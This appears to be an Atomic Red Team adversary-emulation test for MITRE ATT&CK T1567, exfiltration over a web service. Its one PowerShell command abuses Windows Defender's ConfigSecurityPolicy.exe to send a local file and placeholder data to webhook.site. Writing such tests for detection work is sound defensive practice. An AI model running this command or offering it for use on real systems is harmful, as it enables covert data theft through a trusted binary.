attack_technique: T1567
display_name: Exfiltration Over Web Service
atomic_tests:
- name: Data Exfiltration with ConfigSecurityPolicy
  auto_generated_guid: 5568a8f4-a8b1-4c40-9399-4969b642f122
  description: |
    Exfiltration of data using ConfigSecurityPolicy.exe
    https://debugactiveprocess.medium.com/data-exfiltration-with-lolbins-4d9c6e43dacf
  supported_platforms:
  - windows
  executor:
    command: |
      $path = resolve-path "c:\ProgramData\Microsoft\Windows Defender\Platform\*\ConfigSecurityPolicy.exe"
      & $path[0] c:\temp\config.xml "https://webhook.site?d=sensitive-data-here"
    name: powershell
